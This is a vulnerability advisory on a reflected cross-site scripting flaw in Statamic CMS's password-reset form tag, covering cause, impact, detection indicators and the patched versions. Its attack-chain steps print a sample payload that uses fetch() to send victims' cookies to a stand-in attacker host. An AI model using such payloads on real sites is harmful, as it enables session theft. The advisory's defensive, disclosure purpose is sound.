CVE-2026-33883: 
PHP vulnerability analysis and mitigation

CVE-2026-33883 is a reflected cross-site scripting (XSS) vulnerability in Statamic CMS, a Laravel and Git-powered content management system. The flaw exists in the user:reset_password_form tag, which renders user-supplied input (specifically a redirect parameter) directly into HTML without proper escaping, enabling an attacker to craft a malicious URL that executes arbitrary JavaScript in a victim's browser. Affected versions include all Statamic releases prior to 5.73.16 (v5 branch) and versions 6.0.0-alpha.1 through 6.7.1 (v6 branch). The vulnerability was published on March 24, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Statamic Advisory).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79). The user:reset_password_form Antlers tag in Statamic fails to HTML-encode the redirect query parameter before rendering it into the page, creating a reflected XSS sink. An attacker can craft a URL pointing to the password reset page with a malicious JavaScript payload embedded in the redirect parameter; when a victim visits the link, the browser executes the injected script in the context of the Statamic site's origin. No authentication or special privileges are required, though user interaction (clicking the crafted link) is necessary (GitHub Advisory, Statamic Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the scope of the affected Statamic site. This can lead to session token theft, credential harvesting, phishing overlays, or unauthorized actions performed on behalf of the victim. The scope is changed (per CVSS), meaning the impact extends beyond the vulnerable component itself, with low confidentiality and integrity impacts and no availability impact (GitHub Advisory).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2026-33883. The EPSS score is approximately 0.029–0.041%, placing it in the 13th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick a victim into clicking a crafted URL, which limits opportunistic mass exploitation (GitHub Advisory).

1. Reconnaissance: Identify a target Statamic site running a vulnerable version (< 5.73.16 or 6.0.0–6.7.1) that exposes a password reset page using the user:reset_password_form tag.
2. Craft malicious URL: Construct a URL to the password reset page with a malicious JavaScript payload injected into the redirect query parameter, e.g., https://target.example.com/password/reset?redirect=javascript:alert(document.cookie) or using an HTML-injection variant such as "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>.
3. Deliver the link: Send the crafted URL to a target victim via phishing email, social media, or other social engineering channels, presenting it as a legitimate password reset link.
4. Payload execution: When the victim clicks the link and the password reset page loads, the unescaped redirect parameter is rendered into the HTML response, causing the victim's browser to execute the injected JavaScript in the context of the Statamic site's origin.
5. Achieve objective: The executed script can exfiltrate session cookies, perform actions on behalf of the victim, or redirect the user to a phishing page (GitHub Advisory, Statamic Advisory).

• Network: HTTP GET requests to the password reset endpoint (e.g., /password/reset) containing unusual or encoded values in the redirect query parameter, particularly those including <script>, javascript:, or URL-encoded equivalents.
• Logs: Web server access logs showing requests to the password reset page with abnormally long or encoded redirect parameter values; referrer headers pointing to external or unknown domains following such requests.
• Browser/Client-Side: Unexpected outbound requests from victim browsers to attacker-controlled domains shortly after visiting the password reset page; anomalous JavaScript execution errors in browser console logs related to the reset form.

Statamic has released patched versions 5.73.16 (v5 branch) and 6.7.2 (v6 branch) that properly escape user-supplied input before rendering it into HTML. Users should upgrade to one of these versions immediately. No configuration-based workaround is documented; upgrading is the only recommended remediation. Sites that do not use the user:reset_password_form tag may have reduced exposure but should still upgrade (GitHub Advisory, Statamic Advisory).

The vulnerability was reported by a researcher credited as "offset" and was published by Statamic maintainer jasonvarga on March 24, 2026. No significant broader media coverage or notable community commentary beyond the official advisory has been identified at this time (Statamic Advisory).